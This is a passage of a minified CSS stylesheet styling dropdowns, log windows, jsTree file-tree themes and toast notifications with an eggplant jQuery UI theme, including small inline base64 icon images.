repeat-x;color:#E5E3E5;min-width:350px;-webkit-border-radius:4px;-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.2);padding:12px 16px;z-index:1}.dropdown:hover .dropdown-content{display:block}.icon-triangle{background-image:url(assets/jqueryui/eggplant/images/ui-icons_734d99_256x240.png);background-position:-32px -16px}.dropdown:hover .icon-triangle{background-position:-48px -16px}.dd-centre{position:absolute;left:120px}.dd-right{float:right}.strict{font-size:12px;font-weight:700;color:#E5E3E5}.switcher{position:relative;left:20%}.log-options{position:absolute;top:70px;width:auto;left:12%;float:right;width:76%;padding:.5em 0 1em 0}.logoptions{font-size:12px;text-align:center;font-weight:700;-webkit-border-top-left-radius:12px;-webkit-border-top-right-radius:12px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0}.btlogoptions{font-size:12px;text-align:center;font-weight:700}.window{border:2px solid #dcd9de;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:210px;width:100%;min-width:100px;max-height:210px}.window-300{border:2px solid #dcd9de;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:210px;width:300px;min-width:300px;max-height:210px}.window-250{border:2px solid #dcd9de;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:auto;width:250px;min-width:250px;max-height:250px}.window-header{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;padding:2px 10px 2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-content{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px 10px;height:auto;width:auto;overflow:hidden}.window-content-top{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px 10px;height:auto;width:auto;overflow:hidden}.window-bottom{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 10px 0 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-bottom-small{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 0 0 0;height:5px;width:auto;max-height:5px;min-height:5px;overflow:hidden}.table-header{width:100%}.txt-log{padding:0 5px 0 5px;overflow-wrap:break-word}.cont-log{min-height:540px;max-height:540px;position:relative;height:78%;margin:10px 25px 15px 25px;padding:10px 20px 10px 20px;-webkit-border-radius:6px;border:0}.preloader{background:#eee;position:fixed;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:100;opacity:.7}.jstree-node,.jstree-children,.jstree-container-ul{display:block;margin:0;padding:0;list-style-type:none;list-style-image:none}.jstree-node{white-space:nowrap}.jstree-anchor{display:inline-block;color:black;white-space:nowrap;padding:0 4px 0 1px;margin:0;vertical-align:top}.jstree-anchor:focus{outline:0}.jstree-anchor,.jstree-anchor:link,.jstree-anchor:visited,.jstree-anchor:hover,.jstree-anchor:active{text-decoration:none;color:inherit;-webkit-border-radius:2px}.jstree-icon{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-icon:empty{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-ocl{cursor:pointer}.jstree-leaf>.jstree-ocl{cursor:default}.jstree .jstree-open>.jstree-children{display:block}.jstree .jstree-closed>.jstree-children,.jstree .jstree-leaf>.jstree-children{display:none}.jstree-anchor>.jstree-themeicon{margin-right:2px}.jstree-no-icons .jstree-themeicon,.jstree-anchor>.jstree-themeicon-hidden{display:none}.jstree-hidden,.jstree-node.jstree-hidden{display:none}.jstree-rtl .jstree-anchor{padding:0 1px 0 4px}.jstree-rtl .jstree-anchor>.jstree-themeicon{margin-left:2px;margin-right:0}.jstree-rtl .jstree-node{margin-left:0}.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-wholerow-ul{position:relative;display:inline-block;min-width:100%}.jstree-wholerow-ul .jstree-leaf>.jstree-ocl{cursor:pointer}.jstree-wholerow-ul .jstree-anchor,.jstree-wholerow-ul .jstree-icon{position:relative}.jstree-wholerow-ul .jstree-wholerow{width:100%;cursor:pointer;position:absolute;left:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.jstree-contextmenu .jstree-anchor{-webkit-user-select:none;-webkit-touch-callout:none}.vakata-context{display:none}.vakata-context,.vakata-context ul{margin:0;padding:2px;position:absolute;background:#f5f5f5;border:1px solid #979797;-webkit-box-shadow:2px 2px 2px #999;box-shadow:2px 2px 2px #999}.vakata-context ul{list-style:none;left:100%;margin-top:-2.7em;margin-left:-4px}.vakata-context .vakata-context-right ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context li{list-style:none}.vakata-context li>a{display:block;padding:0 2em 0 2em;text-decoration:none;width:auto;color:black;white-space:nowrap;line-height:2.4em;text-shadow:1px 1px 0 white;-webkit-border-radius:1px;border-radius:1px}.vakata-context li>a:hover{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAIORI4JlrqN1oMSnmmZDQUAOw==);background-position:right center;background-repeat:no-repeat}.vakata-context li>a:focus{outline:0}.vakata-context .vakata-context-hover>a{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context .vakata-context-separator>a,.vakata-context .vakata-context-separator>a:hover{background:white;border:0;border-top:1px solid #e2e3e3;height:1px;min-height:1px;max-height:1px;padding:0;margin:0 0 0 2.4em;border-left:1px solid #e0e0e0;text-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;box-shadow:0 0 0 transparent;-webkit-border-radius:0;border-radius:0}.vakata-context .vakata-contextmenu-disabled a,.vakata-context .vakata-contextmenu-disabled a:hover{color:silver;background-color:transparent;border:0;box-shadow:0 0 0}.vakata-context .vakata-contextmenu-disabled>a>i{filter:grayscale(100%)}.vakata-context li>a>i{text-decoration:none;display:inline-block;width:2.4em;height:2.4em;background:transparent;margin:0 0 0 -2em;vertical-align:top;text-align:center;line-height:2.4em}.vakata-context li>a>i:empty{width:2.4em;line-height:2.4em}.vakata-context li>a .vakata-contextmenu-sep{display:inline-block;width:1px;height:2.4em;background:white;margin:0 .5em 0 0;border-left:1px solid #e2e3e3}.vakata-context .vakata-contextmenu-shortcut{font-size:.8em;color:silver;opacity:.5;display:none}.vakata-context-rtl ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context-rtl li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAINjI+AC7rWHIsPtmoxLAA7);background-position:left center;background-repeat:no-repeat}.vakata-context-rtl .vakata-context-separator>a{margin:0 2.4em 0 0;border-left:0;border-right:1px solid #e2e3e3}.vakata-context-rtl .vakata-context-left ul{right:auto;left:100%;margin-left:-4px;margin-right:auto}.vakata-context-rtl li>a>i{margin:0 -2em 0 0}.vakata-context-rtl li>a .vakata-contextmenu-sep{margin:0 0 0 .5em;border-left-color:white;background:#e2e3e3}#jstree-marker{position:absolute;top:0;left:0;margin:-5px 0 0 0;padding:0;border-right:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid;width:0;height:0;font-size:0;line-height:0}#jstree-dnd{line-height:16px;margin:0;padding:4px}#jstree-dnd .jstree-icon,#jstree-dnd .jstree-copy{display:inline-block;text-decoration:none;margin:0 2px 0 0;padding:0;width:16px;height:16px}#jstree-dnd .jstree-ok{background:green}#jstree-dnd .jstree-er{background:red}#jstree-dnd .jstree-copy{margin:0 2px 0 2px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-repeat:no-repeat;background-color:transparent}.jstree-default .jstree-anchor,.jstree-default .jstree-animated,.jstree-default .jstree-wholerow{transition:background-color 0.15s,box-shadow 0.15s}.jstree-default .jstree-hovered{background:#555;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #555;box-shadow:inset 0 0 1px #555}.jstree-default .jstree-context{background:#555;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #555;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-clicked{background:#5fa2db;-webkit- border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #666;box-shadow:inset 0 0 1px #666}.jstree-default .jstree-no-icons .jstree-anchor>.jstree-themeicon{display:none}.jstree-default .jstree-disabled{background:transparent;color:#666}.jstree-default .jstree-disabled.jstree-hovered{background:transparent;box-shadow:none}.jstree-default .jstree-disabled.jstree-clicked{background:#333}.jstree-default .jstree-disabled>.jstree-icon{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default .jstree-search{font-style:italic;color:#fff;font-weight:700}.jstree-default .jstree-no-checkboxes .jstree-checkbox{display:none!important}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked{background:transparent;box-shadow:none}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered{background:#555}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked{background:transparent}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered{background:#555}.jstree-default>.jstree-striped{min-width:100%;display:inline-block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAMAAAB/qqA+AAAABlBMVEUAAAAAAAClZ7nPAAAAAnRSTlMNAMM9s3UAAAAXSURBVHjajcEBAQAAAIKg/H/aCQZ70AUBjAATb6YPDgAAAABJRU5ErkJggg==) left top repeat}.jstree-default>.jstree-wholerow-ul .jstree-hovered,.jstree-default>.jstree-wholerow-ul .jstree-clicked{background:transparent;-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:0;border-radius:0}.jstree-default .jstree-wholerow{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.jstree-default .jstree-wholerow-hovered{background:#555}.jstree-default .jstree-wholerow-clicked{background:#5fa2db;background:-webkit-linear-gradient(top,#5fa2db 0%,#5fa2db 100%);background:linear-gradient(to bottom,#5fa2db 0%,#5fa2db 100%)}.jstree-default .jstree-node{min-height:24px;line-height:24px;margin-left:24px;min-width:24px}.jstree-default .jstree-anchor{line-height:24px;height:24px}.jstree-default .jstree-icon{width:24px;height:24px;line-height:24px}.jstree-default .jstree-icon:empty{width:24px;height:24px;line-height:24px}.jstree-default.jstree-rtl .jstree-node{margin-right:24px}.jstree-default .jstree-wholerow{height:24px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-image:url(assets/jqueryui/eggplant/images/32px.png)}.jstree-default .jstree-node{background-position:-292px -4px;background-repeat:repeat-y}.jstree-default .jstree-last{background:transparent}.jstree-default .jstree-open>.jstree-ocl{background-position:-132px -4px}.jstree-default .jstree-closed>.jstree-ocl{background-position:-100px -4px}.jstree-default .jstree-leaf>.jstree-ocl{background-position:-68px -4px}.jstree-default .jstree-themeicon{background-position:-260px -4px}.jstree-default>.jstree-no-dots .jstree-node,.jstree-default>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -4px}.jstree-default>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -4px}.jstree-default .jstree-disabled{background:transparent}.jstree-default .jstree-disabled.jstree-hovered{background:transparent}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-checkbox{background-position:-164px -4px}.jstree-default .jstree-checkbox:hover{background-position:-164px -36px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default .jstree-checked>.jstree-checkbox{background-position:-228px -4px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default .jstree-checked>.jstree-checkbox:hover{background-position:-228px -36px}.jstree-default .jstree-anchor>.jstree-undetermined{background-position:-196px -4px}.jstree-default .jstree-anchor>.jstree-undetermined:hover{background-position:-196px -36px}.jstree-default .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default>.jstree-striped{background-size:auto 48px}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default.jstree-rtl .jstree-open>.jstree-ocl{background-position:-132px -36px}.jstree-default.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-100px -36px}.jstree-default.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-68px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -36px}.jstree-default .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/eggplant/images/throbber.gif) center center no-repeat}.jstree-default .jstree-file{background:url(assets/jqueryui/eggplant/images/32px.png) -100px -68px no-repeat}.jstree-default .jstree-folder{background:url(assets/jqueryui/eggplant/images/32px.png) -260px -4px no-repeat}.jstree-default>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default{line-height:24px;padding:0 4px}#jstree-dnd.jstree-default .jstree-ok,#jstree-dnd.jstree-default .jstree-er{background-image:url(assets/jqueryui/eggplant/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default i{background:transparent;width:24px;height:24px;line-height:24px}#jstree-dnd.jstree-default .jstree-ok{background-position:-4px -68px}#jstree-dnd.jstree-default .jstree-er{background-position:-36px -68px}.jstree-default .jstree-ellipsis{overflow:hidden}.jstree-default .jstree-ellipsis .jstree-anchor{width:calc(100% - 29px);text-overflow:ellipsis;overflow:hidden}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==)}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default-small .jstree-node{min-height:18px;line-height:18px;margin-left:18px;min-width:18px}.jstree-default-small .jstree-anchor{line-height:18px;height:18px}.jstree-default-small .jstree-icon{width:18px;height:18px;line-height:18px}.jstree-default-small .jstree-icon:empty{width:18px;height:18px;line-height:18px}.jstree-default-small.jstree-rtl .jstree-node{margin-right:18px}.jstree-default-small .jstree-wholerow{height:18px}.jstree-default-small .jstree-node,.jstree-default-small .jstree-icon{background-image:url(assets/jqueryui/eggplant/images/32px.png)}.jstree-default-small .jstree-node{background-position:-295px -7px;background-repeat:repeat-y}.jstree-default-small .jstree-last{background:transparent}.jstree-default-small .jstree-open>.jstree-ocl{background-position:-135px -7px}.jstree-default-small .jstree-closed>.jstree-ocl{background-position:-103px -7px}.jstree-default-small .jstree-leaf>.jstree-ocl{background-position:-71px -7px}.jstree-default-small .jstree-themeicon{background-position:-263px -7px}.jstree-default-small>.jstree-no-dots .jstree-node,.jstree-default-small>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -7px}.jstree-default-small>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -7px}.jstree-default-small .jstree-disabled{background:transparent}.jstree-default-small .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-small .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-small .jstree-checkbox{background-position:-167px -7px}.jstree-default-small .jstree-checkbox:hover{background-position:-167px -39px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-small .jstree-checked>.jstree-checkbox{background-position:-231px -7px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-small .jstree-checked>.jstree-checkbox:hover{background-position:-231px -39px}.jstree-default-small .jstree-anchor>.jstree-undetermined{background-position:-199px -7px}.jstree-default-small .jstree-anchor>.jstree-undetermined:hover{background-position:-199px -39px}.jstree-default-small .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-small>.jstree-striped{background-size:auto 36px}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-small.jstree-rtl .jstree-open>.jstree-ocl{background-position:-135px -39px}.jstree-default-small.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-103px -39px}.jstree-default-small.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-71px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -39px}.jstree-default-small .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-small>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/eggplant/images/throbber.gif) center center no-repeat}.jstree-default-small .jstree-file{background:url(assets/jqueryui/eggplant/images/32px.png) -103px -71px no-repeat}.jstree-default-small .jstree-folder{background:url(assets/jqueryui/eggplant/images/32px.png) -263px -7px no-repeat}.jstree-default-small>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-small{line-height:18px;padding:0 4px}#jstree-dnd.jstree-default-small .jstree-ok,#jstree-dnd.jstree-default-small .jstree-er{background-image:url(assets/jqueryui/eggplant/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-small i{background:transparent;width:18px;height:18px;line-height:18px}#jstree-dnd.jstree-default-small .jstree-ok{background-position:-7px -71px}#jstree-dnd.jstree-default-small .jstree-er{background-position:-39px -71px}.jstree-default-small .jstree-ellipsis{overflow:hidden}.jstree-default-small .jstree-ellipsis .jstree-anchor{width:calc(100% - 23px);text-overflow:ellipsis;overflow:hidden}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAACAQMAAABv1h6PAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMHBgAAiABBI4gz9AAAAABJRU5ErkJggg==)}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-large .jstree-node{min-height:32px;line-height:32px;margin-left:32px;min-width:32px}.jstree-default-large .jstree-anchor{line-height:32px;height:32px}.jstree-default-large .jstree-icon{width:32px;height:32px;line-height:32px}.jstree-default-large .jstree-icon:empty{width:32px;height:32px;line-height:32px}.jstree-default-large.jstree-rtl .jstree-node{margin-right:32px}.jstree-default-large .jstree-wholerow{height:32px}.jstree-default-large .jstree-node,.jstree-default-large .jstree-icon{background-image:url(assets/jqueryui/eggplant/images/32px.png)}.jstree-default-large .jstree-node{background-position:-288px 0;background-repeat:repeat-y}.jstree-default-large .jstree-last{background:transparent}.jstree-default-large .jstree-open>.jstree-ocl{background-position:-128px 0}.jstree-default-large .jstree-closed>.jstree-ocl{background-position:-96px 0}.jstree-default-large .jstree-leaf>.jstree-ocl{background-position:-64px 0}.jstree-default-large .jstree-themeicon{background-position:-256px 0}.jstree-default-large>.jstree-no-dots .jstree-node,.jstree-default-large>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 0}.jstree-default-large>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 0}.jstree-default-large .jstree-disabled{background:transparent}.jstree-default-large .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-large .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-large .jstree-checkbox{background-position:-160px 0}.jstree-default-large .jstree-checkbox:hover{background-position:-160px -32px}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-large .jstree-checked>.jstree-checkbox{background-position:-224px 0}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-large .jstree-checked>.jstree-checkbox:hover{background-position:-224px -32px}.jstree-default-large .jstree-anchor>.jstree-undetermined{background-position:-192px 0}.jstree-default-large .jstree-anchor>.jstree-undetermined:hover{background-position:-192px -32px}.jstree-default-large .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-large>.jstree-striped{background-size:auto 64px}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}.jstree-default-large.jstree-rtl .jstree-open>.jstree-ocl{background-position:-128px -32px}.jstree-default-large.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-96px -32px}.jstree-default-large.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-64px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 -32px}.jstree-default-large .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-large>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/eggplant/images/throbber.gif) center center no-repeat}.jstree-default-large .jstree-file{background:url(assets/jqueryui/eggplant/images/32px.png) -96px -64px no-repeat}.jstree-default-large .jstree-folder{background:url(assets/jqueryui/eggplant/images/32px.png) -256px 0 no-repeat}.jstree-default-large>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-large{line-height:32px;padding:0 4px}#jstree-dnd.jstree-default-large .jstree-ok,#jstree-dnd.jstree-default-large .jstree-er{background-image:url(assets/jqueryui/eggplant/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-large i{background:transparent;width:32px;height:32px;line-height:32px}#jstree-dnd.jstree-default-large .jstree-ok{background-position:0 -64px}#jstree-dnd.jstree-default-large .jstree-er{background-position:-32px -64px}.jstree-default-large .jstree-ellipsis{overflow:hidden}.jstree-default-large .jstree-ellipsis .jstree-anchor{width:calc(100% - 37px);text-overflow:ellipsis;overflow:hidden}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAACAQMAAAAD0EyKAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjgIIGBgABCgCBvVLXcAAAAABJRU5ErkJggg==)}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}@media (max-width:768px){#jstree-dnd.jstree-dnd-responsive{line-height:40px;font-weight:700;font-size:1.1em;text-shadow:1px 1px white}#jstree-dnd.jstree-dnd-responsive>i{background:transparent;width:40px;height:40px}#jstree-dnd.jstree-dnd-responsive>.jstree-ok{background-image:url(assets/jqueryui/eggplant/images/40px.png);background-position:0 -200px;background-size:120px 240px}#jstree-dnd.jstree-dnd-responsive>.jstree-er{background-image:url(assets/jqueryui/eggplant/images/40px.png);background-position:-40px -200px;background-size:120px 240px}#jstree-marker.jstree-dnd-responsive{border-left-width:10px;border-top-width:10px;border-bottom-width:10px;margin-top:-10px}}@media (max-width:768px){.jstree-default-responsive{}.jstree-default-responsive .jstree-icon{background-image:url(assets/jqueryui/eggplant/images/40px.png)}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-node{min-height:40px;line-height:40px;margin-left:40px;min-width:40px;white-space:nowrap}.jstree-default-responsive .jstree-anchor{line-height:40px;height:40px}.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-icon:empty{width:40px;height:40px;line-height:40px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0}.jstree-default-responsive.jstree-rtl .jstree-node{margin-left:0;margin-right:40px;background:transparent}.jstree-default-responsive.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-default-responsive .jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-size:120px 240px}.jstree-default-responsive .jstree-leaf>.jstree-ocl,.jstree-default-responsive.jstree-rtl .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-open>.jstree-ocl{background-position:0 0!important}.jstree-default-responsive .jstree-closed>.jstree-ocl{background-position:0 -40px!important}.jstree-default-responsive.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-40px 0!important}.jstree-default-responsive .jstree-themeicon{background-position:-40px -40px}.jstree-default-responsive .jstree-checkbox,.jstree-default-responsive .jstree-checkbox:hover{background-position:-40px -80px}.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-responsive .jstree-checked>.jstree-checkbox,.jstree-default-responsive .jstree-checked>.jstree-checkbox:hover{background-position:0 -80px}.jstree-default-responsive .jstree-anchor>.jstree-undetermined,.jstree-default-responsive .jstree-anchor>.jstree-undetermined:hover{background-position:0 -120px}.jstree-default-responsive .jstree-anchor{font-weight:700;font-size:1.1em;text-shadow:1px 1px white}.jstree-default-responsive>.jstree-striped{background:transparent}.jstree-default-responsive .jstree-wholerow{border-top:1px solid #666;border-bottom:1px solid #000;background:#333;height:40px}.jstree-default-responsive .jstree-wholerow-hovered{background:#555}.jstree-default-responsive .jstree-wholerow-clicked{background:#5fa2db}.jstree-default-responsive .jstree-children .jstree-last>.jstree-wholerow{box-shadow:inset 0 -6px 3px -5px #111}.jstree-default-responsive .jstree-children .jstree-open>.jstree-wholerow{box-shadow:inset 0 6px 3px -5px #111;border-top:0}.jstree-default-responsive .jstree-children .jstree-open + .jstree-open{box-shadow:none}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-node>.jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-image:url(assets/jqueryui/eggplant/images/40px.png);background-size:120px 240px}.jstree-default-responsive .jstree-node{background-position:-80px 0;background-repeat:repeat-y}.jstree-default-responsive .jstree-last{background:transparent}.jstree-default-responsive .jstree-leaf>.jstree-ocl{background-position:-40px -120px}.jstree-default-responsive .jstree-last>.jstree-ocl{background-position:-40px -160px}.jstree-default-responsive .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-responsive .jstree-file{background:url(assets/jqueryui/eggplant/images/40px.png) 0 -160px no-repeat;background-size:120px 240px}.jstree-default-responsive .jstree-folder{background:url(assets/jqueryui/eggplant/images/40px.png) -40px -40px no-repeat;background-size:120px 240px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}}.toast-container{width:280px;z-index:9999}* html .toast-container{position:absolute}.toast-item{height:auto;background:#3d3644 url(assets/jqueryui/eggplant/images/ui-bg_gloss-wave_30_3d3644_500x100.png) 50% top repeat-x;border:2px solid #7e7783;opacity:1;-webkit-border-radius:10px;color:#fff;padding-top:20px;padding-bottom:20px;padding-left:6px;padding-right:6px;font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:14px;display:block;position:relative;margin:0 0 12px 0}.toast-item 